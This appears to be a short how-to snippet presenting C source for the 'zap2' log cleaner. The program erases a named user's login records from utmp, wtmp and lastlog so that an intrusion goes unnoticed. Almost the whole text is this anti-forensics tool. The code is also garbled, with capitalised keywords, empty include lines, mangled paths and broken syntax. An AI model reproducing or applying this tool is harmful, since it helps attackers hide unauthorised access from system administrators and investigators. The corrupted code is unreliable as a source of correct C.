Edit/etc/utmp,/usr/ADM/wtmp and/usr/ADM/lastlog.
Please use a dedicated editor
Example:
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Include
# Define wtmp_name "/usr/ADM/wtmp"
# Define utmp_name "/etc/utmp"
# Define lastlog_name "/usr/ADM/lastlog"
Int F;
Void kill_utmp (WHO)
Char * WHO;
{
Struct utmp utmp_ent;
If (F = open (utmp_name, o_rdwr)> = 0 ){
While (read (F, & utmp_ent, sizeof (utmp_ent)> 0)
If (! Strncmp (utmp_ent.ut_name, WHO, strlen (WHO ))){
Bzero (char *) & utmp_ent, sizeof (utmp_ent ));
Lseek (F,-(sizeof (utmp_ent), seek_cur );
Write (F, & utmp_ent, sizeof (utmp_ent ));
}
Close (f );
}
}
Void kill_wtmp (WHO)
Char * WHO;
{
Struct utmp utmp_ent;
Long Pos;
Pos = 1l;
If (F = open (wtmp_name, o_rdwr)> = 0 ){
While (Pos! =-1l ){
Lseek (F,-(long) (sizeof (struct utmp) * POS), l_xtnd );
If (read (F, & utmp_ent, sizeof (struct utmp) <0 ){
Pos =-1l;
} Else {
If (! Strncmp (utmp_ent.ut_name, WHO, strlen (WHO ))){
Bzero (char *) & utmp_ent, sizeof (struct utmp ));
Lseek (F,-(sizeof (struct utmp) * POS), l_xtnd );
Write (F, & utmp_ent, sizeof (utmp_ent ));
Pos =-1l;
} Else POS + = 1l;
}
}
Close (f );
}
}
Void kill_lastlog (WHO)
Char * WHO;
{
Struct passwd * Pwd;
Struct lastlog newll;
If (Pwd = getpwnam (WHO ))! = NULL ){
If (F = open (lastlog_name, o_rdwr)> = 0 ){
Lseek (F, (long) PWD-> uid * sizeof (struct lastlog), 0 );
Bzero (char *) & newll, sizeof (newll ));
Write (F, (char *) & newll, sizeof (newll ));
Close (f );
}
} Else printf ("% s :? /N ", WHO );
}
Main (argc, argv)
Int argc;
Char * argv [];
{
If (argc = 2 ){
Kill_lastlog (argv [1]);
Kill_wtmp (argv [1]);
Kill_utmp (argv [1]);
Printf ("zap2! /N ");
} Else
Printf ("error./N ");
}